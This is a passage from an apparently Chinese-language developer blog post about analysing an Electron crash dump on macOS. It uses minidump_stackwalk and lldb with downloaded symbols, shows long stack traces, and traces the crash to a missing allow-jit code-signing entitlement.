&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-symbols.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个文件是专门为 &lt;code&gt;breakpad&lt;/code&gt; 准备的，所以我们可以直接解压到某个目录下，然后使用这个目录作为参数传递给 &lt;code&gt;minidump_stackwalk&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;minidump_stackwalk ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp ./electron-v30.5.1-darwin-arm64-symbols/breakpad_symbols
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来你就可以看到详细的 crash 信息了。在我例子中，我得到的结果是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Operating system: Mac OS X
                  14.6.1 23G93
CPU: arm64
     12 CPUs

GPU: UNKNOWN

Crash reason:  EXC_BREAKPOINT / 0x00000001
Crash address: 0x1129666c8
Process uptime: 0 seconds

Thread 0 (crashed)
 0  Electron Framework!v8::base::OS::Abort() [platform-posix.cc : 699 + 0x0]
     x0 = 0x0000000000000000    x1 = 0x0000000000000000
     x2 = 0x00000000000120a8    x3 = 0x00000001117656e0
     x4 = 0x00000001804b5a5f    x5 = 0x000000016b046af0
     x6 = 0x000000000000000a    x7 = 0x0000000000000000
     x8 = 0x0000000000000001    x9 = 0x00000001e83ff610
    x10 = 0x0000000000000002   x11 = 0x00000000fffffffd
    x12 = 0x0000010000000000   x13 = 0x0000000000000000
    x14 = 0x0000000000000000   x15 = 0x0000000000000000
    x16 = 0x00000001805657d4   x17 = 0x00000001f2af63e0
    x18 = 0x0000000000000000   x19 = 0x0000013c002cf000
    x20 = 0x0000000115675980   x21 = 0x0000013c002c0000
    x22 = 0x000000016b04fc28   x23 = 0x000000000000ded0
    x24 = 0x000000016b04fd0e   x25 = 0x000000016b047448
    x26 = 0x0000000000010820   x27 = 0x000000000000e838
    x28 = 0x0000013c002d0540    fp = 0x000000016b0473e0
     lr = 0x000000011295e6ec    sp = 0x000000016b0473e0
     pc = 0x00000001129666c8
    Found by: given as instruction pointer in context
 1  Electron Framework!v8::base::FatalOOM(v8::base::OOMType, char const*) [logging.cc : 94 + 0x0]
    x19 = 0x0000013c002cf000   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b047400    sp = 0x000000016b0473f0
     pc = 0x000000011295e6ec
    Found by: call frame info
 2  Electron Framework!v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&amp;amp;) [api.cc : 341 + 0x0]
    x19 = 0x0000013c002cf000   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b047420    sp = 0x000000016b047410
     pc = 0x000000010f5c66f4
    Found by: call frame info
 3  Electron Framework!v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&amp;amp;) [api.cc : 301 + 0xc]
    x19 = 0x0000000115e75e8d   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b050150    sp = 0x000000016b047430
     pc = 0x000000010f5c6638
    Found by: call frame info
 4  Electron Framework!v8::internal::(anonymous namespace)::InitProcessWideCodeRange(v8::PageAllocator*, unsigned long) [code-range.cc : 458 + 0x14]
    x19 = 0x0000013c000c1a40   x20 = 0x0000000010000000
    x21 = 0x0000013c000c1a80   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b050180    sp = 0x000000016b050160
     pc = 0x000000010f71ce70
    Found by: call frame info
 5  Electron Framework!v8::base::CallOnceImpl(std::__Cr::atomic&amp;lt;unsigned char&amp;gt;*, std::__Cr::function&amp;lt;void ()&amp;gt;) [function.h : 428 + 0x8]
    x19 = 0x0000000116de0e90   x20 = 0x0000013c000d0b40
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0501a0    sp = 0x000000016b050190
     pc = 0x0000000112962d28
    Found by: call frame info
 6  Electron Framework!v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [once.h : 101 + 0x10]
    x19 = 0x000000016b0501b8   x20 = 0x0000013c000d0b40
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0501f0    sp = 0x000000016b0501b0
     pc = 0x000000010f71cd64
    Found by: call frame info
 7  Electron Framework!v8::internal::Heap::SetUp(v8::internal::LocalHeap*) [heap.cc : 5530 + 0x4]
    x19 = 0x0000013c002cded0   x20 = 0x0000000010000000
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0502a0    sp = 0x000000016b050200
     pc = 0x000000010f791418
    Found by: call frame info
 8  Electron Framework!v8::internal::Isolate::Init(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4719 + 0x0]
    x19 = 0x0000013c002c0000   x20 = 0x000000016b050930
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0508e0    sp = 0x000000016b0502b0
     pc = 0x000000010f6f5218
    Found by: call frame info
 9  Electron Framework!v8::internal::Isolate::InitWithSnapshot(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4376 + 0x0]
    x19 = 0x0000013c002c0000   x20 = 0x0000000116dfabd8
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b0508f0    sp = 0x000000016b0508f0
     pc = 0x000000010f6f5d80
    Found by: call frame info
10  Electron Framework!v8::internal::Snapshot::Initialize(v8::internal::Isolate*) [snapshot.cc : 198 + 0x10]
    x19 = 0x0000013c002c0000   x20 = 0x0000000116dfabd8
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b0509d0    sp = 0x000000016b050900
     pc = 0x000000010fb92e5c
    Found by: call frame info
11  Electron Framework!v8::Isolate::Initialize(v8::Isolate*, v8::Isolate::CreateParams const&amp;amp;) [api.cc : 9725 + 0x4]
    x19 = 0x0000013c002c0000   x20 = 0x0000013c00042f40
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050a10    sp = 0x000000016b0509e0
     pc = 0x000000010f5ea6ac
    Found by: call frame info
12  Electron Framework!gin::IsolateHolder::IsolateHolder(scoped_refptr&amp;lt;base::SingleThreadTaskRunner&amp;gt;, gin::IsolateHolder::AccessMode, gin::IsolateHolder::IsolateType, std::__Cr::unique_ptr&amp;lt;v8::Isolate::CreateParams, std::__Cr::default_delete&amp;lt;v8::Isolate::CreateParams&amp;gt;&amp;gt;, gin::IsolateHolder::IsolateCreationMode, scoped_refptr&amp;lt;base::SingleThreadTaskRunner&amp;gt;, v8::Isolate*) [isolate_holder.cc : 122 + 0x0]
    x19 = 0x0000013c00161688   x20 = 0x0000013c00020360
    x21 = 0x000000016b050a88   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050a60    sp = 0x000000016b050a20
     pc = 0x0000000112aff208
    Found by: call frame info
13  Electron Framework!electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [javascript_environment.cc : 97 + 0x1c]
    x19 = 0x0000013c00161680   x20 = 0x0000013c00161688
    x21 = 0x0000013c002c0000   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050ab0    sp = 0x000000016b050a70
     pc = 0x000000010e4cd8e8
    Found by: call frame info
14  Electron Framework!electron::NodeService::Initialize(mojo::StructPtr&amp;lt;node::mojom::NodeServiceParams&amp;gt;) [unique_ptr.h : 621 + 0x8]
    x19 = 0x0000013c00170d20   x20 = 0x000000016b050c70
    x21 = 0x0000000116dd4c08   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050c60    sp = 0x000000016b050ac0
     pc = 0x000000010e581fac
    Found by: call frame info
15  Electron Framework!node::mojom::NodeServiceStubDispatch::Accept(node::mojom::NodeService*, mojo::Message*) [node_service.mojom.cc : 278 + 0x10]
    x19 = 0x0000013c00170d20   x20 = 0x000000016b051150
    x21 = 0x0000013c00082d00   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050c90    sp = 0x000000016b050c70
     pc = 0x000000011147d9bc
    Found by: call frame info
16  Electron Framework!mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) [interface_endpoint_client.cc : 1021 + 0xc]
    x19 = 0x0000013c00082d00   x20 = 0x000000016b051150
    x21 = 0x0000013c00082d00   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050dd0    sp = 0x000000016b050ca0
     pc = 0x00000001119d1108
    Found by: call frame info
17  Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc]
    x19 = 0x000000016b051150   x20 = 0x0000013c00082de8
    x21 = 0x000000016b051150   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050e30    sp = 0x000000016b050de0
     pc = 0x00000001119d5b78
    Found by: call frame info
18  Electron Framework!mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) [interface_endpoint_client.cc : 706 + 0x4]
    x19 = 0x00000001158a778e   x20 = 0x0000000028bc8f23
    x21 = 0x000000016b051150   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050fa0    sp = 0x000000016b050e40
     pc = 0x00000001119d2d40
    Found by: call frame info
19  Electron Framework!mojo::internal::MultiplexRouter::Accept(mojo::Message*) [multiplex_router.cc : 1096 + 0x8]
    x19 = 0x0000013c00092800   x20 = 0x0000013c000c1040
    x21 = 0x0000000000000000   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b051230    sp = 0x000000016b050fb0
     pc = 0x00000001119de6cc
    Found by: call frame info
20  Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc]
    x19 = 0x000000016b051300   x20 = 0x0000013c00092830
    x21 = 0x0000000000000000   x22 = 0x0000013c000509e0
    x23 = 0x000000016b051300   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x000000016b051380   x26 = 0x0000000000000000
    x27 = 0x0000000000000008   x28 = 0x0000000116d82000
     fp = 0x000000016b051290    sp = 0x000000016b051240
     pc = 0x00000001119d5b78
    Found by: call frame info
21  Electron Framework!base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [connector.cc : 554 + 0xc]
    x19 = 0x0000013c00092860   x20 = 0x0000013c00092a10
    x21 = 0x0000000000000000   x22 = 0x0000013c000509e0
    x23 = 0x000000016b051300   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x000000016b051380   x26 = 0x0000000000000000
    x27 = 0x0000000000000008   x28 = 0x0000000116d82000
     fp = 0x000000016b051420    sp = 0x000000016b0512a0
     pc = 0x00000001119ce6a8
    Found by: call frame info
22  Electron Framework!base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [callback.h : 344 + 0x4]
    x19 = 0x0000013c00073070   x20 = 0x0000013c001603c0
    x21 = 0x0000013c00160240   x22 = 0x0000000000000000
    x23 = 0x0000013c00062f80   x24 = 0x000000016b0514e8
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0x0000000116eda000   x28 = 0x00000001158a778e
     fp = 0x000000016b051440    sp = 0x000000016b051430
     pc = 0x000000010e404a4c
    Found by: call frame info
23  Electron Framework!base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [callback.h : 344 + 0x8]
    x19 = 0x0000000116d82000   x20 = 0x0000013c001603c0
    x21 = 0x0000013c00160240   x22 = 0x0000000000000000
    x23 = 0x0000013c00062f80   x24 = 0x000000016b0514e8
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0x0000000116eda000   x28 = 0x00000001158a778e
     fp = 0x000000016b051580    sp = 0x000000016b051450
     pc = 0x00000001119f2388
    Found by: call frame info
24  Electron Framework!base::TaskAnnotator::RunTaskImpl(base::PendingTask&amp;amp;) [callback.h : 156 + 0x0]
    x19 = 0x0000013c00261000   x20 = 0x0000012800440270
    x21 = 0x0000000000000000   x22 = 0x0000000000000000
    x23 = 0x0000013c00080000   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0xaaaaaaaaaaaaaa00   x28 = 0x0000000000000000
     fp = 0x000000016b051600    sp = 0x000000016b051590
     pc = 0x00000001116bea7c
    Found by: call frame info
25  Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [task_annotator.h : 90 + 0x8]
    x19 = 0x0000013c00261000   x20 = 0xaaaaaaaaaaaaaa00
    x21 = 0x0000000000000019   x22 = 0x0000000000000000
    x23 = 0x0000013c00080000   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0xaaaaaaaaaaaaaa00   x28 = 0x0000000000000000
     fp = 0x000000016b051880    sp = 0x000000016b051610
     pc = 0x00000001116d8f5c
    Found by: call frame info
26  Electron Framework!non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [thread_controller_with_message_pump_impl.cc : 338 + 0xc]
    x19 = 0x000000016b051920   x20 = 0x0000013c000800e8
    x21 = 0x0000013c00080000   x22 = 0xaaaaaaaaaaaaaaaa
    x23 = 0x7fffffffffffffff   x24 = 0x0000000000000000
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051910    sp = 0x000000016b051890
     pc = 0x00000001116d956c
    Found by: call frame info
27  Electron Framework!base::MessagePumpDefault::Run(base::MessagePump::Delegate*) [message_pump_default.cc : 40 + 0x8]
    x19 = 0x0000013c00060440   x20 = 0x0000013c000800e8
    x21 = 0x0000000000000001   x22 = 0xaaaaaaaaaaaaaaaa
    x23 = 0x7fffffffffffffff   x24 = 0x0000000000000000
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051980    sp = 0x000000016b051920
     pc = 0x000000011168056c
    Found by: call frame info
28  Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) [thread_controller_with_message_pump_impl.cc : 641 + 0x0]
    x19 = 0x0000013c00080000   x20 = 0x0000000000000001
    x21 = 0x7fffffffffffffff   x22 = 0x0000000000000001
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b0519d0    sp = 0x000000016b051990
     pc = 0x00000001116d9bd4
    Found by: call frame info
29  Electron Framework!base::RunLoop::Run(base::Location const&amp;amp;) [run_loop.cc : 134 + 0x4]
    x19 = 0x000000016b051b10   x20 = 0x000000016b051ad0
    x21 = 0x000000016b0519e8   x22 = 0x0000000000000000
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051ab0    sp = 0x000000016b0519e0
     pc = 0x00000001116a4f04
    Found by: call frame info
30  Electron Framework!content::UtilityMain(content::MainFunctionParams) [utility_main.cc : 439 + 0x24]
    x19 = 0x00000128002ce5b0   x20 = 0x0000000000000007
    x21 = 0x0000000115652ec1   x22 = 0x000000016b051ad7
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051c50    sp = 0x000000016b051ac0
     pc = 0x00000001110e24c4
    Found by: call frame info
31  Electron Framework!content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string&amp;lt;char, std::__Cr::char_traits&amp;lt;char&amp;gt;, std::__Cr::allocator&amp;lt;char&amp;gt;&amp;gt; const&amp;amp;, content::MainFunctionParams, content::ContentMainDelegate*) [content_main_runner_impl.cc : 775 + 0x4]
    x19 = 0x00000001110e1dd8   x20 = 0x000000016b0521f0
    x21 = 0x000000016b051dd0   x22 = 0x0000000116ae4668
    x23 = 0x000000016b051e98   x24 = 0x0000000000000007
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051db0    sp = 0x000000016b051c60
     pc = 0x000000010e6ef7e4
    Found by: call frame info
32  Electron Framework!content::ContentMainRunnerImpl::Run() [content_main_runner_impl.cc : 1150 + 0x8]
    x19 = 0x00000128002e0280   x20 = 0x000000016b051dd0
    x21 = 0x000000016b051e50   x22 = 0x000000016b051e98
    x23 = 0x0000000000000007   x24 = 0x0000000000000007
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051ef0    sp = 0x000000016b051dc0
     pc = 0x000000010e6f04e0
    Found by: call frame info
33  Electron Framework!content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) [content_main.cc : 331 + 0x4]
    x19 = 0x00000128002e0280   x20 = 0x0000000000000007
    x21 = 0x000000016b051f08   x22 = 0x0000000000000007
    x23 = 0x000000016b052040   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052100    sp = 0x000000016b051f00
     pc = 0x000000010e6eee84
    Found by: call frame info
34  Electron Framework!content::ContentMain(content::ContentMainParams) [content_main.cc : 344 + 0x4]
    x19 = 0x000000016b052178   x20 = 0x000000016b052110
    x21 = 0x0000000116d82000   x22 = 0x0000000000000080
    x23 = 0x000000016b0522f0   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052160    sp = 0x000000016b052110
     pc = 0x000000010e6ef048
    Found by: call frame info
35  Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4]
    x19 = 0x000000016b0524f0   x20 = 0x0000000000000014
    x21 = 0x0000000116d82000   x22 = 0x0000000000000080
    x23 = 0x000000016b0522f0   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052250    sp = 0x000000016b052170
     pc = 0x000000010e3c852c
    Found by: call frame info
36  Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4]
     fp = 0x000000016b0522a0    lr = 0x0000000104daca50
     sp = 0x000000016b052260    pc = 0x000000010e3c852c
    Found by: previous frame&apos;s frame pointer
37  OOMOL Studio Helper (Plugin) + 0xa4c
     fp = 0x000000016b0524d0    lr = 0x000000018021b154
     sp = 0x000000016b0522b0    pc = 0x0000000104daca50
    Found by: previous frame&apos;s frame pointer
38  dyld + 0x6150
     fp = 0x0000000000000000    lr = 0x534b800000000000
     sp = 0x000000016b0524e0    pc = 0x000000018021b154
    Found by: previous frame&apos;s frame pointer
...
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，这里 crash 的原因是: &lt;code&gt;Helper (Plugin)&lt;/code&gt; 进程(这个对应了 electron 中的 &lt;code&gt;AppName Helper (Plugin).app&lt;/code&gt;) 在使用 &lt;code&gt;UtilityMain&lt;/code&gt;(对应了 electron 中的 &lt;a href=&quot;https://www.electronjs.org/docs/latest/api/utility-process&quot;&gt;utilityProcess&lt;/a&gt;) 时，v8 申请内存失败，导致 crash。&lt;/p&gt;
&lt;p&gt;结合我们的业务需求就是: 我们在使用 electron 的 &lt;code&gt;utilityProcess.fork&lt;/code&gt; 方法时，由于被 fork 的脚本中的 v8 引擎无法申请到内存，导致 crash。&lt;/p&gt;
&lt;p&gt;最终发现是因为我们在做代码签名时，对 &lt;code&gt;AppName Helper (Plugin).app&lt;/code&gt; 声明的 &lt;code&gt;entitlements&lt;/code&gt; 缺少了 &lt;code&gt;com.apple.security.cs.allow-jit&lt;/code&gt; 权限所导致的。&lt;/p&gt;
&lt;h3&gt;使用 &lt;code&gt;lldb&lt;/code&gt; {#lldb}&lt;/h3&gt;
&lt;p&gt;就我个人而言，我会更喜欢使用 &lt;code&gt;lldb&lt;/code&gt; 来查看 crash 的原因，因为 &lt;code&gt;lldb&lt;/code&gt; 的输出更加直观一些。&lt;/p&gt;
&lt;p&gt;首先通过下面的命令来下载 dsym 文件:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-dsym.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解压完成后，我们需要设置 &lt;code&gt;lldb&lt;/code&gt; 的搜索路径并执行 &lt;code&gt;bt&lt;/code&gt; 来查看:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;lldb -c ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp -o &quot;settings set target.exec-search-paths ./electron-v30.5.1-darwin-arm64-dsym&quot; -o &quot;bt&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终得到的输出如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;* thread #1, stop reason = EXC_BREAKPOINT (code=1, subcode=0x1129666c8)
  * frame #0: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() [inlined] v8::base::OS::Abort()::$_0::operator()(this=&amp;lt;unavailable&amp;gt;) const at platform-posix.cc:699:7 [opt]
    frame #1: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() at platform-posix.cc:699:7 [opt]
    frame #2: 0x000000011295e6ec Electron Framework`v8::base::FatalOOM(type=&amp;lt;unavailable&amp;gt;, msg=&amp;lt;unavailable&amp;gt;) at logging.cc:94:3 [opt]
    frame #3: 0x000000010f5c66f4 Electron Framework`v8::Utils::ReportOOMFailure(i_isolate=&amp;lt;unavailable&amp;gt;, location=&amp;lt;unavailable&amp;gt;, details=&amp;lt;unavailable&amp;gt;) at api.cc:341:7 [opt]
    frame #4: 0x000000010f5c6638 Electron Framework`v8::internal::V8::FatalProcessOutOfMemory(i_isolate=0x0000013c002c0000, location=&quot;&quot;, details=0x0000000115675980) at api.cc:301:3 [opt]
    frame #5: 0x000000010f71ce70 Electron Framework`v8::internal::(anonymous namespace)::InitProcessWideCodeRange(page_allocator=&amp;lt;unavailable&amp;gt;, requested_size=&amp;lt;unavailable&amp;gt;) at code-range.cc:458:5 [opt]
    frame #6: 0x0000000112962d28 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic&amp;lt;unsigned char&amp;gt;*, std::__Cr::function&amp;lt;void ()&amp;gt;) [inlined] std::__Cr::__function::__value_func&amp;lt;void ()&amp;gt;::operator()(this=&amp;lt;unavailable&amp;gt;) const at function.h:428:12 [opt]
    frame #7: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic&amp;lt;unsigned char&amp;gt;*, std::__Cr::function&amp;lt;void ()&amp;gt;) [inlined] std::__Cr::function&amp;lt;void ()&amp;gt;::operator()(this=&amp;lt;unavailable&amp;gt;) const at function.h:981:10 [opt]
    frame #8: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(once=0x0000000116de0e90, init_func=&amp;lt;unavailable&amp;gt;) at once.cc:36:5 [opt]
    frame #9: 0x000000010f71cd64 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [inlined] void v8::base::CallOnce&amp;lt;v8::PageAllocator*, unsigned long, void&amp;gt;(once=&amp;lt;unavailable&amp;gt;, init_func=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at once.h:101:5 [opt]
    frame #10: 0x000000010f71cd10 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(page_allocator=0x0000013c000d0b40, requested_size=&amp;lt;unavailable&amp;gt;) at code-range.cc:475:3 [opt]
